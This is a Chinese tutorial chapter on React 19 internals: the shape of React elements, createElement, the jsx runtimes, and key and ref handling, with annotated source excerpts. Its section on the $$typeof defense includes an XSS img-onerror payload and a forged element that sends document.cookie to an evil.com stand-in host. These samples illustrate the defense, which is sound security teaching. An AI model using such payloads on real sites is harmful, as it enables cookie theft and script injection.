React 19.3.1 源码深度剖析-第 2 章 React 元素与 JSX 运行时
本章定位:本系列的第二块基石。第一块基石(第 1 章:总览与架构哲学)让你看清了 React 的整体架构与一次更新的完整生命周期;本章则把镜头推进到那个"被渲染的最小描述单元"——React 元素(Element),以及把它生产出来的工厂:
createElement、jsx/jsxs/jsxDEV,和围绕它的一系列 API(cloneElement、isValidElement、React.Children)。读完本章你应该能回答:为什么
<App />本质上只是一个普通对象?$$typeof到底防的是什么攻击?key为什么不能以props.key的身份被读取?cloneElement为什么"吞掉"了ref?React 19 在元素与 JSX 上相比 16/17/18 到底改了什么?元素对象最终如何被协调器(Reconciler)消费并产生 Fiber?所有结论均可落到
react-19.3.1仓库的真实源码,关键算法均贴出原始片段并逐行讲解。
2.1 动机与背景:为什么需要"元素"这么一层抽象
2.1.1 从"命令式 DOM 操作"到"声明式描述"
在没有 React 的年代,开发者直接操作 DOM:
const el = document.createElement('div');
el.className = 'box';
el.textContent = 'hello';
container.appendChild(el);
这段代码立即产生副作用:它创建了一个真实 DOM 节点、设置了它的属性、并把它插到了容器里。命令式代码的问题在于——状态、UI、副作用三者耦合在一起,难以推理、难以复用、难以做到"把 UI 表达为当前状态的纯函数"。
React 的核心思想是把"我想屏幕上长什么样"和"怎么把它变成真实 DOM"这两件事拆开。前者用一个轻量的、不可变的、纯数据的**描述对象(即元素)**来表达;后者交给协调器(Reconciler)与渲染器(Renderer,如 React DOM)去完成。这个描述对象就是 React 元素(Element)。
一个关键认知:createElement 不会创建任何 DOM 节点,也不会触碰浏览器。它只是返回一个普通的 JavaScript 对象。真正的"落地"发生在很久之后——在 Fiber 树被构建、被提交(commit)的阶段。这一点是理解整个 React 运行时的总开关,务必记住。
2.1.2 JSX 只是为了写出元素更舒服
const tree = <div className="box">hello</div>;
上面这行 JSX 在任何遵循现代 JSX 转换(automatic runtime)的编译器中,会被转译为对 jsx 工厂函数的调用,大致等价于:
import {jsx} from 'react/jsx-runtime';
const tree = jsx('div', {className: 'box', children: 'hello'});
而 jsx 内部最终调用的是和 React.createElement 同源的 ReactElement 工厂(见 packages/react/src/jsx/ReactJSXElement.js)。所以本质上:JSX 是语法糖,元素对象才是真相。你完全可以不写一行 JSX,全程手写 createElement,应用照样能跑——因为 JSX 不存在于运行时,它只存在于编译期。
2.1.3 历史演进:从 createElement 一家独大到 jsx/jsxDEV 分工
- React 0.12 ~ 16:经典
React.createElement时代。所有 JSX 都被转译为React.createElement(type, config, ...children),运行时只有这一种工厂。 - React 16.14 / 17(新 JSX 转换):引入
react/jsx-runtime与react/jsx-dev-runtime,编译器默认不再依赖全局React变量。jsx(动态 children)与jsxs(静态 children)分流,开发期用jsxDEV带 source/self/owner 信息。 - React 18:
jsxDEV进一步完善 owner stack(见ReactOwnerStack机制),为更好的开发期报错做准备。 - React 19:
ref成为普通 prop(enableRefAsProp),element.ref访问被废弃并加警告;defaultProps对函数组件不再被官方支持;key的自动分配与REACT_OPTIMISTIC_KEY乐观 key 机制被引入(用于编译期静态 key 的可恢复性);Fragment 支持ref(enableFragmentRefs)。这些变化的"生产第一线"几乎全在本章涉及的代码里。
2.1.4 为什么这一层抽象值得单独成章
因为整个协调过程消费的就是元素。第 3、4 章(Fiber 与 Diff 算法)会反复出现 element.type、element.key、element.props 这些字段。如果现在不清楚元素对象的精确形状、不清楚 key 是如何被从 props 里"提拔"出来的、ref 在 19 里是如何变成普通 prop 的、不清楚 React.Children 是如何重新分配 key 的,那么到了 Diff 阶段,你会卡在"为什么同一个语义的 key 在 React.Children.map 前后变了样"这类问题上。
先吃透元素,后续一切才能顺理成章。
2.2 整体心智模型:元素在 React 宇宙中的位置
用一句话概括本章主角:
React 元素是"组件在某个位置、以某种 props 渲染"的不可变快照;它描述"要渲染什么",而不是"渲染出来的东西"。
它在一张更大的图里所处的位置:
flowchart TD
subgraph 编译期["编译期(Babel / SWC / TypeScript)"]
A["JSX 语法<br/>"] -->|"automatic runtime 转译"| B["jsx / jsxs / jsxDEV<br/>(packages/react/src/jsx/*)"]
A2["手写 React.createElement" ] --> C["createElement<br/>(ReactJSXElement.js:610)"]
end
subgraph 运行时工厂["运行时工厂(本章核心)"]
B --> D["ReactElement()<br/>(ReactJSXElement.js:170)"]
C --> D
end
D --> E["React 元素对象<br/>{$$typeof, type, key, props, ref?}"]
subgraph 协调阶段["协调阶段(第3、4章)"]
E --> F["Reconciler 消费<br/>reconcileChildFibers / reconcileSingleElement"]
F --> G["Fiber 节点<br/>(ReactInternalTypes)"]
G --> H["渲染器 commit<br/>真实 DOM / 原生视图"]
end
这张图是本章的主线:输入(JSX/手写调用)→ 工厂(jsx/createElement)→ 元素对象 → 被协调器消费 → 产生 Fiber。本章聚焦虚线框内的两块(工厂 + 元素对象),并在 2.11 节"点到为止"地展示元素如何流入 Reconciler。
2.3 核心数据结构:React 元素的精确形状
2.3.1 ReactElement 工厂:元素的"构造函数"
React 没有用 class 来表示元素,而是一个普通工厂函数 ReactElement(位于 packages/react/src/jsx/ReactJSXElement.js:170)。注意它的注释明确写道:
This no longer adheres to the class pattern, so do not use new to call it. Also, instanceof check will not work. Instead test $$typeof field against Symbol.for('react.transitional.element')...
也就是说:
- 不要用
new调用它。 - 不能用
instanceof判断。判断一个对象是不是 React 元素,应当检查它的$$typeof是否等于REACT_ELEMENT_TYPE。这一点正好引出了 2.4 节的安全机制。
先看它的签名与生产逻辑(开发/生产两套分支):
// packages/react/src/jsx/ReactJSXElement.js:170
function ReactElement(type, key, props, owner, debugStack, debugTask) {
// Ignore whatever was passed as the ref argument and treat `props.ref` as
// the source of truth. ...
const refProp = props.ref;
// An undefined `element.ref` is coerced to `null` for
// backwards compatibility.
const ref = refProp !== undefined ? refProp : null;
let element;
if (__DEV__) {
element = {
// This tag allows us to uniquely identify this as a React Element
$$typeof: REACT_ELEMENT_TYPE,
// Built-in properties that belong on the element
type,
key,
props,
// Record the component responsible for creating this element.
_owner: owner,
};
if (ref !== null) {
Object.defineProperty(element, 'ref', {
enumerable: false,
get: elementRefGetterWithDeprecationWarning,
});
} else {
Object.defineProperty(element, 'ref', {
enumerable: false,
value: null,
});
}
} else {
// In prod, `ref` is a regular property and _owner doesn't exist.
element = {
// This tag allows us to uniquely identify this as a React Element
$$typeof: REACT_ELEMENT_TYPE,
// Built-in properties that belong on the element
type,
key,
ref,
props,
};
}
if (__DEV__) {
// ... 挂载 _store / _debugInfo / _debugStack / _debugTask
element._store = {};
Object.defineProperty(element._store, 'validated', {...});
Object.defineProperty(element, '_debugInfo', {...});
Object.defineProperty(element, '_debugStack', {...});
Object.defineProperty(element, '_debugTask', {...});
if (Object.freeze) {
Object.freeze(element.props);
Object.freeze(element);
}
}
return element;
}
下面逐字段解读。
2.3.2 字段逐一拆解
(1)$$typeof:类型标签(Symbol)
$$typeof: REACT_ELEMENT_TYPE,
REACT_ELEMENT_TYPE 来自 packages/shared/ReactSymbols.js:16:
// packages/shared/ReactSymbols.js:15-18
export const REACT_LEGACY_ELEMENT_TYPE: symbol = Symbol.for('react.element');
export const REACT_ELEMENT_TYPE: symbol = Symbol.for('react.transitional.element');
注意两个细节:
- 它是
Symbol.for(...)创建的全局注册符号。这意味着即便react包被加载了多份,Symbol.for('react.transitional.element')跨 realm/跨 bundle 得到的永远是同一个 Symbol 实例(只要运行环境支持 global symbol registry)。这正是isValidElement能做跨包校验的基础(见 2.4 节)。 - 在源码注释里它叫
transitional.element。"transitional" 一词暗示这是一段过渡时期的取值——历史上 React 元素曾用react.element,在引入新 JSX 运行时后切换为react.transitional.element。协调器里有一个REACT_LEGACY_ELEMENT_TYPE(react.element),用来检测"老版本 React 渲染出的元素"并给出明确的报错(见ReactChildFiber.js:302的throwOnInvalidObjectTypeImpl)。这是一个向后兼容与版本隔离的精巧设计:用不同的 Symbol 区分"同时存在的两个 React 版本各自产出的元素"。
这个字段是 2.4 节安全机制的主角,单独成节。
(2)type:要渲染成什么
type,
type 决定了这个元素"长成什么样"。它可以是:
- 宿主组件(Host Component):字符串,如
'div'、'span'。渲染器据此创建真实 DOM 节点(在 React DOM 里)。 - 类组件(Class Component):如
class Foo extends React.Component {}。 - 函数组件(Function Component):如
function Foo() {}。 - 特殊组件类型:
Fragment、StrictMode、Suspense、Profiler、Context.Provider/Consumer、forwardRef、memo、lazy等,它们各自有对应的$$typeof符号或特定对象形态,但注意:type字段本身携带的是这些"类型标识对象"(例如React.Fragment是一个带$$typeof: REACT_FRAGMENT_TYPE的对象),而不是REACT_ELEMENT_TYPE。也就是说,元素对象的$$typeof永远是REACT_ELEMENT_TYPE,而type携带的可能是另一个带自己$$typeof的描述符。这一点在后续"区分 Portal、Fragment、Lazy"等类型时极其重要。 null或undefined:会被渲染为空(开发期对无效type有专门的 owner-stack 报错)。
(3)key:稳定身份标识
key,
key 是 React 用来在"同级兄弟列表"中唯一标识一个元素的字符串(或 REACT_OPTIMISTIC_KEY 这个 Symbol 特例,见 2.9.5 与 2.10 节)。
注意几个关键点:
key不是props的一部分。它被从config/props中"提拔"出来,独立成元素对象的顶层字段(packages/react/src/jsx/ReactJSXElement.js:656-665与:322-345)。你无法在组件内部通过this.props.key或props.key读到它——在 19 的开发版本里,访问props.key会触发一个console.error(见defineKeyPropWarningGetter,ReactJSXElement.js:121-141);在 19 里key也不再以可读属性出现在 props 上。key会被强制转成字符串:' ' + maybeKey或' ' + config.key(ReactJSXElement.js:307、318、554、565)。所以key={1}与key={'1'}在语义上等价,key={null}会被视为没有 key(隐式 key 退化为索引)。- 在
React.Children与协调阶段,key会被进一步"转义"拼接成类似.$.0:1的层级路径(见 2.8 节与ReactChildren.js:escape),用于在嵌套数组中保持全局唯一。
(4)props:其余所有属性
props,
props 是一个普通对象,承载除了 key、ref、保留属性(__self、__source,仅旧 JSX 转换会带)以外的所有属性,外加 children。注意:
children也是props的一个字段(ReactJSXElement.js:689、700),并非独立顶级字段。这是很多人误解的地方:<A><B/></A>里内层<B/>是<A>的props.children。- 开发期
props会被Object.freeze(ReactJSXElement.js:277),确保元素不可变——这也是"元素是不可变描述对象"这一论断的运行时保证。任何试图修改已创建元素props的行为在开发期会直接抛错(或在严格模式下静默失败),迫使你走"重新createElement/jsx"的正确路径。 props.ref:在 React 19 中,ref作为普通 prop 直接存在于props上(ReactJSXElement.js:175:const refProp = props.ref)。这是 19 相对此前版本最大的语义变化之一(见 2.9 节)。
(5)ref:对实例/节点的引用(React 19 新语义)
-
生产环境:
ref是元素对象的顶层普通字段(ReactJSXElement.js:234),值等于props.ref ?? null。 -
开发环境:
ref被定义为enumerable: false的访问器(ReactJSXElement.js:202-224)。若元素确实带了ref,访问element.ref会走elementRefGetterWithDeprecationWarning(ReactJSXElement.js:143-160),打印:Accessing element.ref was removed in React 19. ref is now a regular prop. It will be removed from the JSX Element type in a future release.
这正是 React 19 "ref 成为普通 prop" 改革的体现:
ref不再作为元素上被特殊对待的"保留字段",而是props.ref的别名;直接读element.ref会被警告,因为它未来会被彻底移除。
(6)_owner:__DEV__ 专有:创建该元素的组件
_owner: owner,
仅开发期存在(ReactJSXElement.js:199)。owner 来自 getOwner()(ReactJSXElement.js:50-59),它通过 ReactSharedInternals.A.getOwner() 取出"当前正在渲染的组件对应的 dispatcher owner"。它的用途是开发期报错时能精确定位"是哪个组件渲染出了这个有问题的子元素"。例如 key 缺失、函数作为 children 等告警,都依赖 _owner 来拼出渲染链路。
(7)_store / _debugInfo / _debugStack / _debugTask:__DEV__ 专有调试字段
开发期挂载(ReactJSXElement.js:245-275):
_store.validated:标记该元素是否已经被校验过 key(validateChildKeys会把它置 1;React.Children在重分配 key 时可能置 2 表示"本应带 key 但未带",见ReactChildren.js:253-257)。validated被设为不可枚举,以免污染测试框架的序列化与toEqual比较。_debugInfo:服务端组件(RSC)的调试信息。_debugStack/_debugTask:owner stack / console task,配合ReactOwnerStack提供带组件栈的错误信息。- 最后
Object.freeze(element.props)与Object.freeze(element)(ReactJSXElement.js:276-279)把整个元素冻结,使其成为真正的不可变对象。
2.3.3 一个真实元素的打印形态
在浏览器开发控制台敲:
const e = <div className="hi" key="k1">text</div>;
console.log(e);
你会得到(概念上)这样的对象:
{
$$typeof: Symbol(react.transitional.element),
type: 'div',
key: 'k1',
ref: null, // 开发期是访问器;无 ref 时值为 null
props: {
className: 'hi',
children: 'text'
},
_owner: null,
_store: {validated: 0},
_debugInfo: null,
_debugStack: <Error>,
_debugTask: <ConsoleTask>
}
记住:这个对象里没有任何 DOM 节点、没有任何"真实渲染产物"的引用。它纯粹是数据。
2.4 $$typeof 的安全机制:防 JSON XSS 注入
这是本章最容易被人忽略、却最能体现 React 设计功力的一个点。
2.4.1 问题起源:把 JSON 当元素用
设想一个经典的前后端分离场景:服务器返回一段 JSON,前端直接把它当 children 渲染:
// 恶意服务器(或被 XSS)返回:
const dataFromServer = {
user: {
name: 'Alice',
// 攻击者精心构造的字段:
__html: '<img src=x onerror=alert(1)>'
}
};
// 前端(错误地)直接渲染:
<div>{dataFromServer.user}</div>
真正危险的版本更具体一点:攻击者可能通过某种方式,让你把一个看起来像 React 元素的对象塞进渲染树。比如,假设 React 判断"是不是元素"的方式是"检查对象上有没有 type 和 props 字段",那么攻击者可以构造:
const fakeElement = {
type: SomeDangerousComponent,
props: { src: 'http://evil.com/steal?cookie=' + document.cookie },
key: null,
ref: null
};
如果 React 仅凭字段名就把它当作合法元素去协调,攻击者就能让 React 渲染任意组件、传入任意 props,造成 XSS、数据泄露、甚至 RCE(在 SSR 场景)。
2.4.2 防御:用 Symbol 作"防伪标签"
React 的解法非常聪明且轻量:每个合法元素都带一个 $$typeof: REACT_ELEMENT_TYPE,而这个 REACT_ELEMENT_TYPE 是一个全局 Symbol。
// packages/shared/ReactSymbols.js:16
export const REACT_ELEMENT_TYPE: symbol = Symbol.for('react.transitional.element');
为什么 Symbol 能挡住 JSON 注入?因为:
- JSON 不支持 Symbol。
JSON.parse('{"$$typeof":"react.transitional.element"}')解析出来的$$typeof是字符串"react.transitional.element",而REACT_ELEMENT_TYPE是 Symbol。Symbol('react.transitional.element') !== 'react.transitional.element',二者永不相等。 - 你无法在 JSON 里凭空造出一个 Symbol。JSON 的合法值类型只有
string / number / boolean / null / array / object,没有 Symbol。所以任何"从网络/存储/URL 反序列化而来"的对象,无论攻击者怎么写$$typeof,其值都不可能是真正的REACT_ELEMENT_TYPESymbol。 Object.prototype.toString、typeof都拦不住的检查:isValidElement做的是严格===比较:
// packages/react/src/jsx/ReactJSXElement.js:891
export function isValidElement(object) {
return (
typeof object === 'object' &&
object !== null &&
object.$$typeof === REACT_ELEMENT_TYPE
);
}
只有当 $$typeof 与那个全局唯一的 Symbol 严格相等,才认可是 React 元素。
2.4.3 把"防伪"贴进真实代码片段
ReactElement 工厂生产对象时,第一件事就是打上这个标签:
// packages/react/src/jsx/ReactJSXElement.js:188-200 (开发期分支)
element = {
// This tag allows us to uniquely identify this as a React Element
$$typeof: REACT_ELEMENT_TYPE,
type,
key,
props,
_owner: owner,
};
下游所有"是否当元素处理"的判断都基于它。例如协调器在 createChild 里:
// packages/react-reconciler/src/ReactChildFiber.js:739-775
if (typeof newChild === 'object' && newChild !== null) {
switch (newChild.$$typeof) {
case REACT_ELEMENT_TYPE: {
const created = createFiberFromElement(newChild, ...);
...
return created;
}
case REACT_PORTAL_TYPE: { ... }
case REACT_LAZY_TYPE: { ... }
}
...
throwOnInvalidObjectType(returnFiber, newChild); // 非元素对象 → 抛错
}
如果一个"看起来像元素"的对象 $$typeof 不对,它既不会被当成元素构建 Fiber,反而会走到 throwOnInvalidObjectType,并给出明确报错(如果是 REACT_LEGACY_ELEMENT_TYPE 还会提示"多份 React 拷贝")。
2.4.4 一个常被问到的追问:为什么不用字符串 'react.element' 当标签?
如果把 $$typeof 设成普通字符串 'react.element',那么攻击者在 JSON 里写 "$$typeof":"react.element" 就能伪装成合法元素。Symbol 的不可 JSON 序列化特性,正好堵死了这条路。这是"用类型系统的能力换安全"的典型范例——不增加任何运行时开销,却让"跨信任边界(网络/存储)注入元素"在物理上变得不可能。
2.4.5 REACT_LEGACY_ELEMENT_TYPE 的二次用途
除了防伪,ReactSymbols.js:15 的 REACT_LEGACY_ELEMENT_TYPE = Symbol.for('react.element') 还承担版本隔离职责。当一个"老 React 版本"产出的元素(其 $$typeof 是 react.element)混进新 React 的协调树时,新 React 会在 throwOnInvalidObjectTypeImpl(ReactChildFiber.js:302-310)精准报错:
A React Element from an older version of React was rendered. This is not supported. It can happen if: Multiple copies of the "react" package is used / A library pre-bundled an old copy / A compiler tries to "inline" JSX.
这一报错对"幽灵般的多份 React 拷贝导致 hooks 报错"问题极具诊断价值。
2.5 createElement 全解:从 config 拆分到 children 归一化
createElement(packages/react/src/jsx/ReactJSXElement.js:610-746)是"经典 JSX 转换"的产物,也是 React 公开 API React.createElement 的实现。即便你平时写的是自动转换后的 jsx,理解 createElement 依然必要——jsx/jsxDEV 与它共享 ReactElement 工厂,且很多边界处理(如 defaultProps、children 多参数归一化)在 createElement 里体现得更完整。
2.5.1 签名与整体流程
export function createElement(type, config, children) {
// 1. 开发期:校验子元素的 key(validateChildKeys)
// 2. 拆分 config → 提取 key;其余属性拷进新 props(跳过 key / __self / __source)
// 3. children 多参数归一化 → props.children(单个 / 数组 / 冻结)
// 4. 解析 type.defaultProps(遗留路径)
// 5. 处理 key 的 props.key 警告访问器
// 6. 计算 owner / debugStack / debugTask
// 7. 调用 ReactElement 工厂返回元素
}
下面逐块拆解。
2.5.2 第 1 步:开发期子元素 key 校验
// packages/react/src/jsx/ReactJSXElement.js:611-626
if (__DEV__) {
for (let i = 2; i < arguments.length; i++) {
validateChildKeys(arguments[i]);
}
// Unlike the jsx() runtime, createElement() doesn't warn about key spread.
}
注意注释:createElement 不警告 key 的 spread(展开)。这与 jsxDEV 不同(jsxDEVImpl 会就 key 被 spread 进 props 报 console.error)。原因是历史兼容性——createElement 长期允许 <div {...props} /> 这种写法,而 jsx 是编译器产物,更应严格。
validateChildKeys(ReactJSXElement.js:864-882)做什么?它把一个"静态位置"的子元素标记为"已校验",避免后续协调器再为它报"缺少 key":
// packages/react/src/jsx/ReactJSXElement.js:864
function validateChildKeys(node) {
if (__DEV__) {
if (isValidElement(node)) {
if (node._store) {
node._store.validated = 1;
}
} else if (isLazyType(node)) {
// lazy 的特殊处理:fulfilled 后若内部是元素也标记
...
}
}
}
validated = 1 是一个"白名单标记":协调器里的 warnForMissingKey(ReactChildFiber.js:152-228)看到 validated 为真就跳过告警。也就是说,凡是你"显式手写、处于静态位置"的子元素,都被认为开发者是有意不带 key 的(或会在别处处理),不应被唠叨。而"动态数组"(如 list.map(x => <li>...))里的元素因为不在静态位置、未被 validateChildKeys 覆盖,才会触发经典的 "Each child in a list should have a unique key" 告警。这是 React 在"有用告警"和"噪音"之间做的精妙权衡。
2.5.3 第 2 步:拆分 config,提取 key
// packages/react/src/jsx/ReactJSXElement.js:628-683
let propName;
const props = {}; // 新 props 对象
let key = null;
if (config != null) {
if (__DEV__) {
// 旧 JSX 运行时告警:检测到 __self 说明用了老转换
if (!didWarnAboutOldJSXRuntime && '__self' in config /* && !('key' in config) */) {
didWarnAboutOldJSXRuntime = true;
console.warn('Your app (or one of its dependencies) is using an outdated JSX transform...');
}
}
if (hasValidKey(config)) {
if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {
key = REACT_OPTIMISTIC_KEY;
} else {
if (__DEV__) {
checkKeyStringCoercion(config.key); // 2.4 提到的安全校验
}
key = '' + config.key; // 强制字符串化
}
}
// Remaining properties are added to a new props object
for (propName in config) {
if (
hasOwnProperty.call(config, propName) &&
propName !== 'key' && // key 被提拔,不进 props
propName !== '__self' && // 旧运行时的调试字段,过滤
propName !== '__source' // 旧运行时的调试字段,过滤
) {
props[propName] = config[propName];
}
}
}
几个要点:
-
为什么要新建
props = {}而不是复用config? 因为要剔除key/__self/__source这些"保留/调试字段",并且要保证props是个新鲜对象(便于后续Object.freeze、避免外部意外改动传入的 config)。jsx因为是编译器产物、传入的 config 一定是新对象,所以可以走"若没 key 就直接复用 config"的优化分支(ReactJSXElement.js:323-333);而createElement不能假设调用方传入的是新对象,因此一律拷贝——这正是jsx与createElement在 props 处理上唯一的本质差异(源码注释ReactJSXElement.js:323-333写得很清楚)。 -
为什么用
for...in+ 跳过而不是delete? 源码注释(ReactJSXElement.js:336-337)直言:We don't use
deletebecause in V8 it will deopt the object to dictionary mode.这是一个微观性能取舍:
delete会破坏隐藏类(hidden class)优化,使对象退化为字典模式、属性访问变慢;而用新建对象 + 拷贝的方式能保持对象形状稳定,对 JIT 更友好。这是 React 在"热路径上绝不随意delete"的一贯作风(同样的原则在协调器resolveClassComponentProps里也出现,见 2.9.4)。 -
hasValidKey:除了检查config.key !== undefined,在开发期它还会识别"React 故意塞的 warning getter"(通过getter.isReactWarning标记),避免把"访问props.key的告警 getter"误判为有效 key(ReactJSXElement.js:109-119)。这个 getter 即defineKeyPropWarningGetter装的陷阱(见 2.3.2 与 2.5.6)。
2.5.4 第 3 步:children 多参数归一化
// packages/react/src/jsx/ReactJSXElement.js:685-701
const childrenLength = arguments.length - 2;
if (childrenLength === 1) {
props.children = children; // 单个子节点:直接引用
} else if (childrenLength > 1) {
const childArray = Array(childrenLength);
for (let i = 0; i < childrenLength; i++) {
childArray[i] = arguments[i + 2]; // 多子节点:收进数组
}
if (__DEV__) {
if (Object.freeze) {
Object.freeze(childArray); // 冻结数组,防篡改
}
}
props.children = childArray;
}
这里揭示了 createElement 的"可变参数"本质:第三个及之后的所有参数都被视为 children。于是:
createElement('div', null, 'a')→props.children = 'a'(字符串)。createElement('div', null, 'a', 'b')→props.children = ['a', 'b'](数组)。createElement('div', null)→ 没有props.children字段(注意:是"无此字段",而非undefined/null)。
关键结论:<div><A/><B/></div> 编译成 createElement('div', null, createElement(A), createElement(B)),于是 <div> 的 props.children 是一个包含两个元素的数组。而 <div><A/></div> 编译成 createElement('div', null, createElement(A)),props.children 是单个元素,不是数组。这个"一个 vs 数组"的区别,是 2.8 节 React.Children 与第 4 章 Diff 必须反复处理的核心歧义。
对比
jsx/jsxs:编译器会预先判断 children 是静态还是动态。jsxs(静态多 children)会把children作为一个已经排好的数组整体传入 config;jsx(动态单 children)则把children作为 config 的一个字段。因此jsx路径不会出现createElement那种"多参数收集"逻辑——它直接读config.children。这也是为什么jsx比createElement在静态 JSX 上略快一点点:少了一次arguments遍历和数组构造。
2.5.5 第 4 步:解析 type.defaultProps(遗留路径,见 2.9.4)
// packages/react/src/jsx/ReactJSXElement.js:703-711
if (type && type.defaultProps) {
const defaultProps = type.defaultProps;
for (propName in defaultProps) {
if (props[propName] === undefined) {
props[propName] = defaultProps[propName];
}
}
}
这段是 React 19 里"残留的"默认 props 解析。它对任何 type 都无条件执行(不区分函数/类)。关于它在 React 19 中的真实地位,2.9.4 节会结合协调器源码给出权威结论,这里先记住"它在这里,且对全部 type 生效"这一事实。
2.5.6 第 5 步:key 的 props 访问告警器
// packages/react/src/jsx/ReactJSXElement.js:712-720
if (__DEV__) {
if (key) {
const displayName =
typeof type === 'function'
? type.displayName || type.name || 'Unknown'
: type;
defineKeyPropWarningGetter(props, displayName);
}
}
defineKeyPropWarningGetter(ReactJSXElement.js:121-141)在 props 上挂一个不可枚举的 key getter,一旦你在组件内 props.key 读取它,就打印:
keyis not a prop. Trying to access it will result inundefinedbeing returned...
这解释了"为什么 props.key 永远读不到真实 key"——因为 key 根本不在 props 上,它被提拔到了元素顶层;即便你强行 props.key,开发期也会被这个 getter 抓个正着并告警,返回 undefined。这是 React 用一个"陷阱访问器"来教育开发者放弃错误用法的经典手法。
2.5.7 第 6、7 步:owner / debug 信息与工厂调用
// packages/react/src/jsx/ReactJSXElement.js:721-745
const trackActualOwner =
__DEV__ && ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;
let debugStackDEV = false;
if (__DEV__) {
if (trackActualOwner) {
const previousStackTraceLimit = Error.stackTraceLimit;
Error.stackTraceLimit = ownerStackTraceLimit; // 限制栈深度(性能)
debugStackDEV = Error('react-stack-top-frame'); // 抓取 owner 栈
Error.stackTraceLimit = previousStackTraceLimit;
} else {
debugStackDEV = unknownOwnerDebugStack;
}
}
return ReactElement(
type,
key,
props,
getOwner(),
debugStackDEV,
__DEV__ && (trackActualOwner ? createTask(getTaskName(type)) : unknownOwnerDebugTask),
);
ownerStackTraceLimit = 10(ReactJSXElement.js:67)是性能开关:过深的栈抓取会拖慢 Error() 的构造(见源码注释 61-66 行对不同引擎 stackTraceLimit 的对比)。React 用 recentlyCreatedOwnerStacks 计数器限制"只有前若干次创建元素才抓真实栈,之后复用 unknownOwnerDebugStack",在"调试精度"与"运行时开销"之间做平衡——这是 2.10 节"性能影响"会展开的点。
2.6 jsx / jsxs / jsxDEV 与 automatic runtime
2.6.1 automatic runtime 是什么
自 React 17 起,官方 JSX 转换(Babel 的 @babel/preset-react、SWC、TypeScript 的 jsx: "react-jsx")默认不再把 JSX 转译成 React.createElement,而是转译到 react/jsx-runtime 与 react/jsx-dev-runtime:
// 源:<div className="a">x</div>
// 旧转换:React.createElement('div', {className:'a'}, 'x')
// 新转换:import {jsx} from 'react/jsx-runtime'; jsx('div', {className:'a', children:'x'})
入口文件非常短(packages/react/jsx-runtime.js:9):
export {Fragment, jsx, jsxs} from './src/jsx/ReactJSX';
而 ReactJSX.js 又做了根据 __DEV__ 的分流(packages/react/src/jsx/ReactJSX.js:17-28):
const jsx: any = __DEV__
? jsxProdSignatureRunningInDevWithDynamicChildren
: jsxProd;
const jsxs: any = __DEV__
? jsxProdSignatureRunningInDevWithStaticChildren
: jsxProd;
const jsxDEV: any = __DEV__ ? _jsxDEV : undefined;
export {REACT_FRAGMENT_TYPE as Fragment, jsx, jsxs, jsxDEV};
要点:
jsx与jsxs共用同一个生产实现jsxProd(ReactJSXElement.js:291),它们的分流只发生在开发期——开发期jsx(动态 children)走jsxProdSignatureRunningInDevWithDynamicChildren,jsxs(静态多 children)走jsxProdSignatureRunningInDevWithStaticChildren。源码注释(ReactJSX.js:20-21)明说:暂时没给jsxs单独的生产函数,未来可能会利用"静态 children"做特殊优化。jsxDEV仅开发期存在;生产环境jsxDEV为undefined。这就是为什么"把开发版代码当生产跑"时,jsxDEV不会被调用。反过来,开发期也可以调用jsx/jsxs(例如第三方依赖打包进了生产版代码),所以那两个 "DEV 版的 production 签名"函数(jsxProdSignatureRunningInDevWith...)就是为"在开发环境里跑生产版依赖"这种混合场景准备的(ReactJSXElement.js:350-431的注释解释得很清楚)。
2.6.2 jsxProd:生产路径的核心
// packages/react/src/jsx/ReactJSXElement.js:291
export function jsxProd(type, config, maybeKey) {
let key = null;
// key 可以来自第三个参数 maybeKey,也可以来自 config.key
if (maybeKey !== undefined) {
if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {
key = REACT_OPTIMISTIC_KEY;
} else {
if (__DEV__) checkKeyStringCoercion(maybeKey);
key = '' + maybeKey;
}
}
if (hasValidKey(config)) {
if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) { key = REACT_OPTIMISTIC_KEY; }
else {
if (__DEV__) checkKeyStringCoercion(config.key);
key = '' + config.key;
}
}
let props;
if (!('key' in config)) {
props = config; // 无 key spread → 直接复用 config(性能优化)
} else {
props = {}; // 有 key spread → 剔除 key 后拷贝
for (const propName in config) {
if (propName !== 'key') props[propName] = config[propName];
}
}
return ReactElement(type, key, props, getOwner(), undefined, undefined);
}
与 createElement 相比,jsxProd:
- 没有多参数 children 逻辑——children 已作为
config.children由编译器放好。 - key 有两个来源:显式第三参
maybeKey(编译器把key={...}提升为第三个参数)或config.key(spread 场景)。编译器通常把key提升为第三参,这就是为什么jsx的签名是jsx(type, config, key)。 !('key' in config)时直接复用config(性能优化),否则才拷贝——如前所述,这是编译器能保证"传入的是新对象"带来的红利。
2.6.3 jsxDEV 与 jsxDEVImpl:开发期的额外职责
jsxDEV(ReactJSXElement.js:441-467)本身只是准备 owner stack/debug task,然后把活儿交给 jsxDEVImpl(ReactJSXElement.js:469-604)。开发期它比生产版多做三件事:
① 静态 children 的 key 校验与冻结
// packages/react/src/jsx/ReactJSXElement.js:489-510
const children = config.children;
if (children !== undefined) {
if (isStaticChildren) {
if (isArray(children)) {
for (let i = 0; i < children.length; i++) {
validateChildKeys(children[i]); // 逐个校验
}
if (Object.freeze) Object.freeze(children); // 冻结静态 children 数组
} else {
console.error('React.jsx: Static children should always be an array...');
}
} else {
validateChildKeys(children);
}
}
② key spread 告警(这是 createElement 没有、而 jsxDEV 独有的):
// packages/react/src/jsx/ReactJSXElement.js:513-537
if (hasOwnProperty.call(config, 'key')) {
const componentName = getComponentNameFromType(type);
...
console.error(
'A props object containing a "key" prop is being spread into JSX:\n' +
' let props = %s;\n <%s {...props} />\n' +
'React keys must be passed directly to JSX without using spread: ...',
...
);
}
这就是 React 19 强烈推荐的写法:<Comp key={k} {...rest} /> 而不是把 key 塞进 rest 再 spread。后者会触发此告警,且在 enableOptimisticKey 下优先级处理也更微妙(见 2.10 节)。
③ 与 createElement 相同的 key 提取、props 拷贝、key 告警访问器:
// packages/react/src/jsx/ReactJSXElement.js:539-602(节选)
let key = null;
if (maybeKey !== undefined) { ... key = '' + maybeKey; }
if (hasValidKey(config)) { ... key = '' + config.key; }
let props;
if (!('key' in config)) { props = config; }
else { props = {}; for (const propName in config) { if (propName !== 'key') props[propName] = config[propName]; } }
if (key) {
const displayName = typeof type === 'function' ? type.displayName || type.name || 'Unknown' : type;
defineKeyPropWarningGetter(props, displayName);
}
return ReactElement(type, key, props, getOwner(), debugStack, debugTask);
